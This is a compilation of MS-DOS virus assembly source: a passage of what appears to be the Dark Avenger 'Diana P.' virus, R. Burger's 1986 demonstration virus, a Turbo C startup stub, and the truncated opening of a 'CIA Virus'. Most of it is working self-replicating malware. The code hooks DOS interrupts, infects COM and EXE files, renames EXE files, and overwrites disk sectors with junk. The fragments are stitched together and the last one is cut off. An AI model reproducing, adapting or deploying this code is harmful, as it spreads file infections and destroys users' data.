       mov     word ptr cs:[si+patch+2],bx
       mov     bx,word ptr cs:[si+call_adr]
       mov     word ptr cs:[si+patch],bx
       mov     bx,es
       add     bx,10h
       add     bx,word ptr cs:[si+stack_pointer+2]
       mov     ss,bx
       mov     sp,word ptr cs:[si+stack_pointer]
       db      0eah                    ;JMP XXXX:YYYY
patch:
       dd      0

; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.

exit_com:




       mov     di,100h
       add     si,offset my_save
       movsb
       movsw
       mov     sp,ds:[6]               ;This is incorrect
       xor     bx,bx
       push    bx
       jmp     [si-11]                 ;si+call_adr-top_file

; Program entry point

startup:
       call    relative
relative:
       pop     si                      ;SI = $
       sub     si,offset relative
       cld
       cmp     word ptr cs:[si+my_save],5a4dh
       je      exe_ok
       cli
       mov     sp,si                   ;A separate stack is supported for
       add     sp,offset top_file+100h ;the .COM files, in order not to
       sti                             ;overlap the stack by the program
       cmp     sp,ds:[6]
       jnc     exit_com
exe_ok:
       push    ax
       push    es
       push    si
       push    ds
       mov     di,si

; Looking for the address of INT 13h handler in ROM-BIOS

       xor     ax,ax
       push    ax
       mov     ds,ax
       les     ax,ds:[13h*4]
       mov     word ptr cs:[si+fdisk],ax
       mov     word ptr cs:[si+fdisk+2],es
       mov     word ptr cs:[si+disk],ax
       mov     word ptr cs:[si+disk+2],es
       mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
       cmp     ax,0f000h               ;for diskettes if a hard disk is
       jne     nofdisk                 ;available
       mov     word ptr cs:[si+disk+2],ax
       mov     ax,ds:[40h*4]
       mov     word ptr cs:[si+disk],ax
       mov     dl,80h
       mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
       cmp     ax,0f000h               ;where the original INT 13h vector is
       je      isfdisk
       cmp     ah,0c8h
       jc      nofdisk
       cmp     ah,0f4h
       jnc     nofdisk
       test    al,7fh
       jnz     nofdisk
       mov     ds,ax
       cmp     ds:[0],0aa55h
       jne     nofdisk
       mov     dl,ds:[2]
isfdisk:
       mov     ds,ax
       xor     dh,dh
       mov     cl,9
       shl     dx,cl
       mov     cx,dx
       xor     si,si
findvect:
       lodsw                           ;Occasionally begins with:
       cmp     ax,0fa80h               ;       CMP     DL,80h
       jne     altchk                  ;       JNC     somewhere
       lodsw
       cmp     ax,7380h
       je      intchk
       jne     nxt0
altchk:
       cmp     ax,0c2f6h               ;or with:
       jne     nxt                     ;       TEST    DL,80h
       lodsw                           ;       JNZ     somewhere
       cmp     ax,7580h
       jne     nxt0
intchk:
       inc     si                      ;then there is:
       lodsw                           ;       INT     40h
       cmp     ax,40cdh
       je      found
       sub     si,3
nxt0:
       dec     si
       dec     si
nxt:
       dec     si
       loop    findvect
       jmp     short nofdisk
found:
       sub     si,7
       mov     word ptr cs:[di+fdisk],si
       mov     word ptr cs:[di+fdisk+2],ds
nofdisk:
       mov     si,di
       pop     ds

; Check whether the program is present in memory:

       les     ax,ds:[21h*4]
       mov     word ptr cs:[si+save_int_21],ax
       mov     word ptr cs:[si+save_int_21+2],es
       push    cs
       pop     ds
       cmp     ax,offset int_21
       jne     bad_func
       xor     di,di
       mov     cx,offset my_size
scan_func:
       lodsb
       scasb
       jne     bad_func
       loop    scan_func
       pop     es
       jmp     go_program

; Move the program to the top of memory:
; (it's full of rubbish and bugs here)

bad_func:
       pop     es
       mov     ah,49h
       int     21h
       mov     bx,0ffffh
       mov     ah,48h
       int     21h
       sub     bx,(top_bz+my_bz+1ch-1)/16+2
       jc      go_program
       mov     cx,es
       stc
       adc     cx,bx
       mov     ah,4ah
       int     21h
       mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
       stc
       sbb     es:[2],bx
       push    es
       mov     es,cx
       mov     ah,4ah
       int     21h
       mov     ax,es
       dec     ax
       mov     ds,ax
       mov     word ptr ds:[1],8
       call    mul_16
       mov     bx,ax
       mov     cx,dx
       pop     ds
       mov     ax,ds
       call    mul_16
       add     ax,ds:[6]
       adc     dx,0
       sub     ax,bx
       sbb     dx,cx
       jc      mem_ok
       sub     ds:[6],ax               ;Reduction of the segment size
mem_ok:
       pop     si
       push    si
       push    ds
       push    cs
       xor     di,di
       mov     ds,di
       lds     ax,ds:[27h*4]
       mov     word ptr cs:[si+save_int_27],ax
       mov     word ptr cs:[si+save_int_27+2],ds
       pop     ds
       mov     cx,offset aux_size
       rep     movsb
       xor     ax,ax
       mov     ds,ax
       mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
       mov     ds:[21h*4+2],es
       mov     ds:[27h*4],offset int_27
       mov     ds:[27h*4+2],es
       mov     word ptr es:[filehndl],ax
       pop     es
go_program:
       pop     si

; Smash the next disk sector:

       xor     ax,ax
       mov     ds,ax
       mov     ax,ds:[13h*4]
       mov     word ptr cs:[si+save_int_13],ax
       mov     ax,ds:[13h*4+2]
       mov     word ptr cs:[si+save_int_13+2],ax
       mov     ds:[13h*4],offset int_13
       add     ds:[13h*4],si
       mov     ds:[13h*4+2],cs
       pop     ds
       push    ds
       push    si
       mov     bx,si
       lds     ax,ds:[2ah]
       xor     si,si
       mov     dx,si
scan_envir:                             ;Fetch program's name
       lodsw                           ;(with DOS 2.x it doesn't work anyway)
       dec     si
       test    ax,ax
       jnz     scan_envir
       add     si,3
       lodsb

; The following instruction is a complete nonsense.  Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.

       sub     al,'A'
       mov     cx,1
       push    cs
       pop     ds
       add     bx,offset int_27
       push    ax
       push    bx
       push    cx
       int     25h
       pop     ax
       pop     cx
       pop     bx
       inc     byte ptr [bx+0ah]
       and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
       jnz     store_sec               ;nothing is not enough for some.
       mov     al,[bx+10h]
       xor     ah,ah
       mul     word ptr [bx+16h]
       add     ax,[bx+0eh]
       push    ax
       mov     ax,[bx+11h]
       mov     dx,32
       mul     dx
       div     word ptr [bx+0bh]
       pop     dx
       add     dx,ax
       mov     ax,[bx+8]
       add     ax,40h
       cmp     ax,[bx+13h]
       jc      store_new
       inc     ax
       and     ax,3fh
       add     ax,dx
       cmp     ax,[bx+13h]
       jnc     small_disk
store_new:
       mov     [bx+8],ax
store_sec:
       pop     ax
       xor     dx,dx
       push    ax
       push    bx
       push    cx
       int     26h


; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).

       pop     ax
       pop     cx
       pop     bx
       pop     ax
       cmp     byte ptr [bx+0ah],0
       jne     not_now
       mov     dx,[bx+8]
       pop     bx
       push    bx
       int     26h
small_disk:
       pop     ax
not_now:
       pop     si
       xor     ax,ax
       mov     ds,ax
       mov     ax,word ptr cs:[si+save_int_13]
       mov     ds:[13h*4],ax
       mov     ax,word ptr cs:[si+save_int_13+2]
       mov     ds:[13h*4+2],ax
       pop     ds
       pop     ax
       cmp     word ptr cs:[si+my_save],5a4dh
       jne     go_exit_com
       jmp     exit_exe
go_exit_com:
       jmp     exit_com
int_24:
       mov     al,3                    ;This instruction seems unnecessary
       iret

; INT 27h handler (this is necessary)

int_27:
       pushf
       call    alloc
       popf
       jmp     dword ptr cs:[save_int_27]

; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)

set_int_27:
       mov     word ptr cs:[save_int_27],dx
       mov     word ptr cs:[save_int_27+2],ds
       popf
       iret
set_int_21:
       mov     word ptr cs:[save_int_21],dx
       mov     word ptr cs:[save_int_21+2],ds
       popf
       iret
get_int_27:
       les     bx,dword ptr cs:[save_int_27]
       popf
       iret
get_int_21:
       les     bx,dword ptr cs:[save_int_21]
       popf
       iret

exec:


       call    do_file
       call    alloc
       popf
       jmp     dword ptr cs:[save_int_21]

       db      'Diana P.',0

; INT 21h handler.  Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.

int_21:
       push    bp
       mov     bp,sp
       push    [bp+6]
       popf
       pop     bp
       pushf
       call    ontop
       cmp     ax,2521h
       je      set_int_21
       cmp     ax,2527h
       je      set_int_27
       cmp     ax,3521h
       je      get_int_21
       cmp     ax,3527h
       je      get_int_27
       cld
       cmp     ax,4b00h
       je      exec
       cmp     ah,3ch
       je      create
       cmp     ah,3eh
       je      close
       cmp     ah,5bh
       jne     not_create
create:
       cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
       jne     dont_touch
       call    see_name
       jnz     dont_touch
       call    alloc
       popf
       call    function
       jc      int_exit
       pushf
       push    es
       push    cs
       pop     es
       push    si
       push    di
       push    cx
       push    ax
       mov     di,offset filehndl
       stosw
       mov     si,dx
       mov     cx,65
move_name:
       lodsb
       stosb
       test    al,al
       jz      all_ok
       loop    move_name
       mov     word ptr es:[filehndl],cx
all_ok:
       pop     ax
       pop     cx
       pop     di
       pop     si
       pop     es
go_exit:
       popf
       jnc     int_exit                ;JMP
close:
       cmp     bx,word ptr cs:[filehndl]
       jne     dont_touch
       test    bx,bx
       jz      dont_touch
       call    alloc
       popf
       call    function
       jc      int_exit
       pushf
       push    ds
       push    cs
       pop     ds
       push    dx
       mov     dx,offset filehndl+2
       call    do_file
       mov     word ptr cs:[filehndl],0
       pop     dx
       pop     ds
       jmp     go_exit
not_create:
       cmp     ah,3dh
       je      touch
       cmp     ah,43h
       je      touch
       cmp     ah,56h                  ;Unfortunately, the command inter-
       jne     dont_touch              ;preter does not use this function
touch:
       call    see_name
       jnz     dont_touch
       call    do_file
dont_touch:
       call    alloc
       popf
       call    function
int_exit:
       pushf
       push    ds
       call    get_chain
       mov     byte ptr ds:[0],'Z'
       pop     ds
       popf
dummy   proc    far                     ;???
       ret     2
dummy   endp

; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.

see_name:
       push    ax
       push    si
       mov     si,dx
scan_name:
       lodsb
       test    al,al
       jz      bad_name
       cmp     al,'.'
       jnz     scan_name
       call    get_byte
       mov     ah,al
       call    get_byte
       cmp     ax,'co'
       jz      pos_com
       cmp     ax,'ex'
       jnz     good_name
       call    get_byte
       cmp     al,'e'
       jmp     short good_name
pos_com:
       call    get_byte
       cmp     al,'m'
       jmp     short good_name
bad_name:
       inc     al
good_name:
       pop     si
       pop     ax
       ret

; Converts into lowercase (the subroutines are a great thing).

get_byte:
       lodsb
       cmp     al,'C'
       jc      byte_got
       cmp     al,'Y'
       jnc     byte_got
       add     al,20h
byte_got:
       ret

; Calls the original INT 21h.

function:
       pushf
       call    dword ptr cs:[save_int_21]
       ret

; Arrange to infect an executable file.

do_file:
       push    ds                      ;Save the registers in stack
       push    es
       push    si
       push    di
       push    ax
       push    bx
       push    cx
       push    dx
       mov     si,ds
       xor     ax,ax
       mov     ds,ax
       les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
       push    es                      ;and changes them with what is needed
       push    ax
       mov     ds:[24h*4],offset int_24
       mov     ds:[24h*4+2],cs
       les     ax,ds:[13h*4]
       mov     word ptr cs:[save_int_13],ax
       mov     word ptr cs:[save_int_13+2],es
       mov     ds:[13h*4],offset int_13
       mov     ds:[13h*4+2],cs
       push    es
       push    ax
       mov     ds,si
       xor     cx,cx                   ;Arranges to infect Read-only files
       mov     ax,4300h
       call    function
       mov     bx,cx
       and     cl,0feh
       cmp     cl,bl
       je      dont_change
       mov     ax,4301h
       call    function
       stc
dont_change:
       pushf
       push    ds
       push    dx
       push    bx
       mov     ax,3d02h                ;Now we can safely open the file
       call    function
       jc      cant_open
       mov     bx,ax
       call    disease
       mov     ah,3eh                  ;Close it

       call    function
cant_open:
       pop     cx
       pop     dx
       pop     ds
       popf
       jnc     no_update
       mov     ax,4301h                ;Restores file's attributes
       call    function                ;if they were changed (just in case)
no_update:
       xor     ax,ax                   ;Restores INT 13h and INT 24h
       mov     ds,ax
       pop     ds:[13h*4]
       pop     ds:[13h*4+2]
       pop     ds:[24h*4]
       pop     ds:[24h*4+2]
       pop     dx                      ;Register restoration
       pop     cx
       pop     bx
       pop     ax
       pop     di
       pop     si
       pop     es
       pop     ds
       ret

; This routine is the working horse.

disease:
       push    cs
       pop     ds
       push    cs
       pop     es
       mov     dx,offset top_save      ;Read the file beginning
       mov     cx,18h
       mov     ah,3fh
       int     21h
       xor     cx,cx
       xor     dx,dx
       mov     ax,4202h                ;Save file length
       int     21h
       mov     word ptr [top_save+1ah],dx
       cmp     ax,offset my_size       ;This should be top_file
       sbb     dx,0
       jc      stop_fuck_2             ;Small files are not infected
       mov     word ptr [top_save+18h],ax
       cmp     word ptr [top_save],5a4dh
       jne     com_file
       mov     ax,word ptr [top_save+8]
       add     ax,word ptr [top_save+16h]
       call    mul_16
       add     ax,word ptr [top_save+14h]
       adc     dx,0
       mov     cx,dx
       mov     dx,ax
       jmp     short see_sick
com_file:
       cmp     byte ptr [top_save],0e9h
       jne     see_fuck
       mov     dx,word ptr [top_save+1]
       add     dx,103h
       jc      see_fuck
       dec     dh
       xor     cx,cx

; Check if the file is properly infected


see_sick:
       sub     dx,startup-copyright
       sbb     cx,0
       mov     ax,4200h
       int     21h
       add     ax,offset top_file
       adc     dx,0
       cmp     ax,word ptr [top_save+18h]
       jne     see_fuck
       cmp     dx,word ptr [top_save+1ah]
       jne     see_fuck
       mov     dx,offset top_save+1ch
       mov     si,dx
       mov     cx,offset my_size
       mov     ah,3fh
       int     21h
       jc      see_fuck
       cmp     cx,ax
       jne     see_fuck
       xor     di,di
next_byte:

       lodsb
       scasb
       jne     see_fuck
       loop    next_byte
stop_fuck_2:
       ret
see_fuck:
       xor     cx,cx                   ;Seek to the end of file
       xor     dx,dx
       mov     ax,4202h
       int     21h
       cmp     word ptr [top_save],5a4dh
       je      fuck_exe
       add     ax,offset aux_size+200h ;Watch out for too big .COM files
       adc     dx,0
       je      fuck_it
       ret

; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.

fuck_exe:
       mov     dx,word ptr [top_save+18h]
       neg     dl
       and     dx,0fh
       xor     cx,cx
       mov     ax,4201h
       int     21h
       mov     word ptr [top_save+18h],ax
       mov     word ptr [top_save+1ah],dx
fuck_it:
       mov     ax,5700h                ;Get file's date
       int     21h
       pushf
       push    cx
       push    dx
       cmp     word ptr [top_save],5a4dh
       je      exe_file                ;Very clever, isn't it?
       mov     ax,100h
       jmp     short set_adr
exe_file:
       mov     ax,word ptr [top_save+14h]
       mov     dx,word ptr [top_save+16h]
set_adr:
       mov     di,offset call_adr
       stosw
       mov     ax,dx
       stosw
       mov     ax,word ptr [top_save+10h]
       stosw
       mov     ax,word ptr [top_save+0eh]
       stosw
       mov     si,offset top_save      ;This offers the possibilities to
       movsb                           ;some nasty programs to restore
       movsw                           ;exactly the original length
       xor     dx,dx                   ;of the .EXE files
       mov     cx,offset top_file
       mov     ah,40h
       int     21h                     ;Write the virus
       jc      go_no_fuck              ;(don't trace here)
       xor     cx,ax
       jnz     go_no_fuck
       mov     dx,cx
       mov     ax,4200h
       int     21h
       cmp     word ptr [top_save],5a4dh
       je      do_exe
       mov     byte ptr [top_save],0e9h
       mov     ax,word ptr [top_save+18h]
       add     ax,startup-copyright-3
       mov     word ptr [top_save+1],ax
       mov     cx,3
       jmp     short write_header
go_no_fuck:
       jmp     short no_fuck

; Construct the .EXE file's header

do_exe:
       call    mul_hdr
       not     ax
       not     dx
       inc     ax
       jne     calc_offs
       inc     dx
calc_offs:
       add     ax,word ptr [top_save+18h]
       adc     dx,word ptr [top_save+1ah]
       mov     cx,10h
       div     cx
       mov     word ptr [top_save+14h],startup-copyright
       mov     word ptr [top_save+16h],ax
       add     ax,(offset top_file-offset copyright-1)/16+1
       mov     word ptr [top_save+0eh],ax
       mov     word ptr [top_save+10h],100h
       add     word ptr [top_save+18h],offset top_file
       adc     word ptr [top_save+1ah],0
       mov     ax,word ptr [top_save+18h]
       and     ax,1ffh
       mov     word ptr [top_save+2],ax
       pushf
       mov     ax,word ptr [top_save+19h]
       shr     byte ptr [top_save+1bh],1
       rcr     ax,1
       popf
       jz      update_len
       inc     ax
update_len:
       mov     word ptr [top_save+4],ax
       mov     cx,18h
write_header:
       mov     dx,offset top_save
       mov     ah,40h
       int     21h                     ;Write the file beginning
no_fuck:
       pop     dx
       pop     cx
       popf
       jc      stop_fuck
       mov     ax,5701h                ;Restore the original file date
       int     21h
stop_fuck:
       ret

; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.

alloc:
       push    ds
       call    get_chain
       mov     byte ptr ds:[0],'M'
       pop     ds

; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).

ontop:
       push    ds
       push    ax
       push    bx
       push    dx
       xor     bx,bx
       mov     ds,bx
       lds     dx,ds:[21h*4]
       cmp     dx,offset int_21
       jne     search_segment
       mov     ax,ds
       mov     bx,cs
       cmp     ax,bx
       je      test_complete

; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.

       xor     bx,bx
search_segment:
       mov     ax,[bx]
       cmp     ax,offset int_21
       jne     search_next
       mov     ax,cs
       cmp     ax,[bx+2]
       je      got_him
search_next:
       inc     bx
       jne     search_segment
       je      return_control
got_him:
       mov     ax,word ptr cs:[save_int_21]
       mov     [bx],ax
       mov     ax,word ptr cs:[save_int_21+2]
       mov     [bx+2],ax
       mov     word ptr cs:[save_int_21],dx
       mov     word ptr cs:[save_int_21+2],ds
       xor     bx,bx

; Even if he has not saved them in the same segment, this won't help him.

return_control:
       mov     ds,bx
       mov     ds:[21h*4],offset int_21
       mov     ds:[21h*4+2],cs
test_complete:
       pop     dx
       pop     bx
       pop     ax
       pop     ds
       ret

; Fetch the segment of the last MCB

get_chain:
       push    ax
       push    bx
       mov     ah,62h
       call    function
       mov     ax,cs
       dec     ax
       dec     bx
next_blk:
       mov     ds,bx
       stc
       adc     bx,ds:[3]
       cmp     bx,ax
       jc      next_blk
       pop     bx
       pop     ax
       ret

; Multiply by 16

mul_hdr:
       mov     ax,word ptr [top_save+8]
mul_16:
       mov     dx,10h
       mul     dx
       ret

       db      'This program was written in the city of Sofia '
       db      '(C) 1988-89 Dark Avenger',0

; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call

int_13:
       cmp     ah,3
       jnz     subfn_ok
       cmp     dl,80h
       jnc     hdisk
       db      0eah                    ;JMP XXXX:YYYY
my_size:                                ;--- Up to here comparison
disk:                                   ; with the original is made
       dd      0
hdisk:
       db      0eah                    ;JMP XXXX:YYYY
fdisk:
       dd      0
subfn_ok:
       db      0eah                    ;JMP XXXX:YYYY
save_int_13:
       dd      0
call_adr:
       dd      100h

stack_pointer:
       dd      0                       ;The original value of SS:SP
my_save:
       int     20h                     ;The original contents of the first
       nop                             ;3 bytes of the file
top_file:                               ;--- Up to here the code is written
filehndl    equ $                       ; in the files
filename    equ filehndl+2              ;Buffer for the name of the opened file
save_int_27 equ filename+65             ;Original INT 27h vector
save_int_21 equ save_int_27+4           ;Original INT 21h vector
aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
top_save    equ save_int_21+4           ;Beginning of the buffer, which
contains
                                       ; - The first 24 bytes read from file
                                       ; - File length (4 bytes)
                                       ; - The last bytes of the file
                                       ;   (my_size bytes)
top_bz      equ top_save-copyright
my_bz       equ my_size-copyright

code    ends
       end





       page 70,120
       Name VIRUS
;*************************************************************************

;       Program Virus           Ver.:   1.1
;       Copyright by R. Burger 1986
;       This is a demonstration program for computer
;       viruses. It has the ability to replicate itself,
;       and thereby modify other programs
;*************************************************************************



Code    Segment
       Assume  CS:Code
progr   equ     100h
       ORG     progr

;*************************************************************************

;       The three NOP's serve as the marker byte of the
;       virus which will allow it to identify a virus
;*************************************************************************

MAIN:
       nop
       nop
       nop

;*************************************************************************

;       Initialize the pointers
;*************************************************************************

       mov ax,00
       mov es:[pointer],ax
       mov es:[counter],ax
       mov es:[disks],al

;*************************************************************************

;       Get the selected drive
;*************************************************************************

       mov ah,19h              ; drive?
       int 21h

;*************************************************************************

;       Get the current path on the current drive
;*************************************************************************

       mov cs:drive,al         ; save drive
       mov ah,47h              ; dir?
       mov dh,0
       add al,1
       mov dl,al               ; in actual drive
       lea si,cs:old_path
       int 21h

;*************************************************************************

;       Get the number of drives present.
;       If only one drive is present, the pointer for
;       search order will be set to search order + 6
;*************************************************************************

       mov ah,0eh              ; how many disks
       mov dl,0                ;
       int 21h

       mov al,01
       cmp al,01               ; one drive?
       jnz hups3
       mov al,06

hups3:  mov ah,0
       lea bx,search_order
       add bx,ax
       add bx,0001h
       mov cs:pointer,bx
       clc

;*************************************************************************

;       Carry is set, if no more .COM's are found.
;       Then, to avoid unnecessary work, .EXE files will
;       be renamed to .COM file and infected.
;       This causes the error message "Program too lrage
;       to fit in memory" when starting larger infected
;       EXE programs.
;*************************************************************************

change_disk:
       jnc no_name_change
       mov ah,17h              ; change exe to com
       lea dx,cs:maske_exe
       int 21h
       cmp al,0ffh
       jnz no_name_change      ; .EXE found?

;*************************************************************************

;       If neither .COM nor .EXE is found, then sectors will
;       be overwritten depending on the system time in
;       milliseconds. This is the time of the complete
;       "infection" of a storage medium. The virus can find
;       nothing more to infect and starts its destruction.
;*************************************************************************

       mov ah,2ch     ; read system clock
       int 21h
       mov bx,cs:pointer
       mov al,cs:[bx]
       mov bx,dx
       mov cx,2
       mov dh,0
       int 26h         ; write crap on disk

;*************************************************************************

;       Check if the end of the search order table has been
;       reached. If so, end.
;*************************************************************************

no_name_change:
       mov bx,cs:pointer
       dec bx
       mov cs:pointer,bx
       mov dl,cs:[bx]
       cmp dl,0ffh
       jnz hups2
       jmp hops

;*************************************************************************

;       Get new drive from search order table and
;       select it.
;*************************************************************************

hups2:
       mov ah,0eh
       int 21h         ; change disk

;*************************************************************************

;       Start in the root directory
;*************************************************************************

       mov ah,3bh      ; change path
       lea dx,path
       int 21h
       jmp find_first_file

;*************************************************************************

;       Starting from the root, search for the first subdir
;       First convert all .EXE files to .COM in the old
;       directory.
;*************************************************************************

find_first_subdir:
       mov ah,17h              ; change exe to com
       lea dx,cs:maske_exe
       int 21h
       mov ah,3bh              ; use root dir
       lea dx,path
       int 21h
       mov ah,04eh             ;Search for first subdirectory
       mov cx,00010001b        ; dir mask
       lea dx,maske_dir
       int 21h
       jc change_disk

       mov bx,CS:counter
       INC BX
       DEC bx
       jz  use_next_subdir

;*************************************************************************

;       Search for the next subdir. If no more directories
;       are found, the drive will be changed.
;*************************************************************************

find_next_subdir:
       mov ah,4fh      ; search for next subdir
       int 21h
       jc change_disk
       dec bx
       jnz find_next_subdir

;*************************************************************************

;       Select found directory
;*************************************************************************

use_next_subdir:
       mov ah,2fh      ; get dta address
       int 21h
       add bx,1ch
       mov es:[bx],'\ ' ; address of name in dta
       inc bx
       push ds
       mov ax,es
       mov ds,ax
       mov dx,bx
       mov ah,3bh      ; change path
       int 21h
       pop ds
       mov bx,cs:counter
       inc bx
       mov CS:counter,bx

;*************************************************************************

;       Find first .COM file in the current directory.
;       If there are non, search the next directory.
;*************************************************************************

find_first_file:
       mov ah,04eh     ; Search for first
       mov cx,00000001b ; mask
       lea dx,maske_com        ;
       int 21h
       jc find_first_subdir
       jmp check_if_ill

;*************************************************************************

;       If the program is already infected, search for
;       the next program.
;*************************************************************************

find_next_file:
       mov ah,4fh      ; search for next
       int 21h
       jc  find_first_subdir

;*************************************************************************

;       Check if already infected by the virus.
;*************************************************************************

check_if_ill:
       mov ah,3dh      ; open channel
       mov al,02h      ; read/write
       mov dx,9eh      ; address of name in dta
       int 21h
       mov bx,ax       ; save channel
       mov ah,3fh      ; read file
       mov cx,buflen   ;
       mov dx,buffer   ; write in buffer
       int 21h
       mov ah,3eh      ; CLODE FILE
       int 21h

;*************************************************************************

;       Here we search for three NOP's.
;       If present, there is already an infection. We must
;       then continue the search.
;*************************************************************************

       mov bx,cs:[buffer]
       cmp bx,9090h
       jz find_next_file

;*************************************************************************

;       Bypass MS-DOS write protection if present
;*************************************************************************

       mov ah,43h      ; write enable
       mov al,0
       mov dx,9eh      ; address of name in dta
       int 21h
       mov ah,43h
       mov al,01h
       and cx,11111110b
       int 21h

;*************************************************************************

;       Open file for write access.
;*************************************************************************

       mov ah,3dh      ; open channel
       mov al,02h      ; read/write
       mov dx,9eh      ; address of name in dta
       int 21h

;*************************************************************************

;       Read date entry of program and save for future use.
;*************************************************************************

       mov bx,ax       ; channel
       mov ah,57h      ; get date
       mov al,0
       int 21h
       push cx         ; save date
       push dx

;*************************************************************************

;       The jump located at address 0100h of the program
;       will be saved for future use.
;*************************************************************************

       mov dx,cs:[conta]       ; save old jmp
       mov cs:[jmpbuf],dx
       mov dx,cs:[buffer+1]    ; save new jump
       lea cx,cont-100h
       sub dx,cx
       mov cs:[conta],dx

;*************************************************************************

;       The virus copies itself to the start of the file
;*************************************************************************

       mov ah,40h      ; write virus
       mov cx,buflen   ; length buffer
       lea dx,main     ; write virus
       int 21h

;*************************************************************************

;       Enter the old creation date of the file.
;*************************************************************************

       mov ah,57h      ; write date
       mov al,1
       pop dx
       pop cx          ; restore date
       int 21h

;*************************************************************************

;       Close the file.
;*************************************************************************

       mov ah,3eh      ; close file
       int 21h

;*************************************************************************

;       restore the old jump address.
;       The virus saves at address "conta' the jump which
;       was at the start of the host program.
;       This is done to preserve the executability of the
;       host program as much as possible.
;       After saving itstill works with the jump address
;       contained in the virus. The jump address in the
;       virus differs from the jump address in memory
;
;*************************************************************************

       mov dx,cs:[jmpbuf]      ; restore old jmp
       mov cs:[conta],dx
hops:   nop
       call use_old

;*************************************************************************

;       Continue with the host program.
;*************************************************************************

cont    db 0e9h         ; make jump
conta   dw 0
       mov ah,00
       int 21h

;*************************************************************************

;       reactivate the selected drive at the start of the
;       program.
;*************************************************************************

use_old:
       mov ah,0eh      ; use old drive
       mov dl,cs:drive
       int 21h

;*************************************************************************

;       Reactivate the selected path at the start of the
;       program.
;*************************************************************************

       mov ah,3bh      ; use old dir
       lea dx,old_path-1       ; get old path and backslash
       int 21h
       ret


search_order    db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer         dw 0000         ; pointer f. search order
counter         dw 0000         ; counter f. nth search
disks           db 0            ; number of disks


maske_com       db "*.com",00   ; search for com files
maske_dir       db "*",00       ; search dir's
maske_exe       db 0ffh,0,0,0,0,0,00111111b
               db 0,"????????exe",0,0,0,0
               db 0,"????????com",0
maske_all       db 0ffh,0,0,0,0,0,00111111b
               db 0,"???????????",0,0,0,0
               db 0,"????????com",0

buffer equ 0e000h       ; a safe place

buflen equ 230h          ; length of virus !!!!!!
                       ;      careful
                       ; if changing !!!!!!

jmpbuf equ buffer+buflen        ; a safe place for jump
path   db  "\",0                ; first path
drive  db  0                    ; actual drive
back_slash db "\"
old_path  db 32 dup(?)          ; old path

code    ends

end main

;*************************************************************************
;       WHAT THE PROGRAM DOES:
;
;        When the program is started, the first COM file in the root
;        directory is infected. You can't see any changes to the
;        directory entries. But if you look at the hex dump of an
;        infected program, you can see the marker, which in this case
;        consists of three NOP's (hex 90). WHen the infected program
;        is started, the virus will first replicate itself, and then
;        try to run the host program. It may run or it may not, but
;        it will infect another program. This continues until all
;        the COM files are infected. The next time it is run, all
;        of the EXE files are changed to COM files so that they can
;        be infected. In addition, the manipulation task of the virus
;        begins, which consists of the random destruction of disk
;        sectors.
;*************************************************************************




;  'Extra-Tiny' memory model startup code for Turbo C 2.0
;
;  This makes smaller executable images from C programs, by
;  removing code to get command line arguments and the like.
;  Compile with Tiny model flag, do not use any standard I/O
;  library functions, such as puts() or int86().
;
;  This code courtesey PC Magazine, December 26, 1989.
;  But nobody really needs to know that.


_text           segment byte public 'code'
_text           ends
_data           segment word public 'data'
_data           ends
_bss            segment word public 'bss'
_bss            ends

dgroup          group           _text, _data, _bss

_text           segment
               org 100h
begin:
_text           ends

               end     begin





       page 70,120
       Name CIAVIRUS
;************************************
;     CIA Virus (C) 1989 by
;        Live Wire
;************************************


code    segment
       assume  cs:code
progr   equ     100h
       ORG     progr

main:
       nop
       nop
       nop
       mov     ax,00
       mov     es:[pointer],ax
       mov     es:[counter],ax
       mov     es:[disks],al
       mov     ah,19h
       int     21h
       mov     cs:drive,al
       mov     ah,47h
       mov     dh,0
       add     al,1
       mov     dl,al
       lea     si,cs:old_path
       int     21h
       mov     ah,0eh
       mov     dl,0
       int     21h
       mov     al,01
       cmp     al,01
       jnz     hups3
       mov     al,06

hups3:  mov     ah,0
       lea     bx,search_order
       add     bx,ax
       add     bx,0001h
       mov     cs:pointer,bx
       clc

change_disk:
       jnc     no_name_change
       mov     ah,17h
       lea     dx,cs:maske_exe
       int     21h
       cmp     al,0ffh
       jnz     no_name_change
       mov     ah,2ch
       int     21h
       mov     bx,cs:pointer
       mov     al,cs:[bx]
       mov     bx,dx
       mov     cx,2
       mov     dh,0
       int     26h

no_name_change:
       mov     bx,cs:pointer
       dec     bx
       mov     cs:pointer,bx
       mov     dl,cs:[bx]
       cmp     dl,0ffh
       jnz     hups2
       jmp     hops

hups2:
       mov     ah,0eh
       int     21h
       mov     ah,3bh
       lea     dx,path
       int     21h
       jmp     find_first_file

find_first_subdir:
       mov     ah,17h
       lea     dx,cs:maske_exe
       int     21h
       mov     ah,3bh
       lea     dx,path
       int     21h
       mov     ah,04eh
       mov     cx,00010001b
       lea     dx,maske_exe
       int     21h
       jc      change_disk

       mov     bx,CS:counter
       inc     bx
       dec     bx
       jz      use_next_subdir

find_next_subdir:
       mov     ah,4fh
       int     21h
       jc      change_disk
       dec     bx
       jnz     find_next_subdir

use_next_subdir:
       mov     ah,2fh
       int     21h
       add     bx,1ch
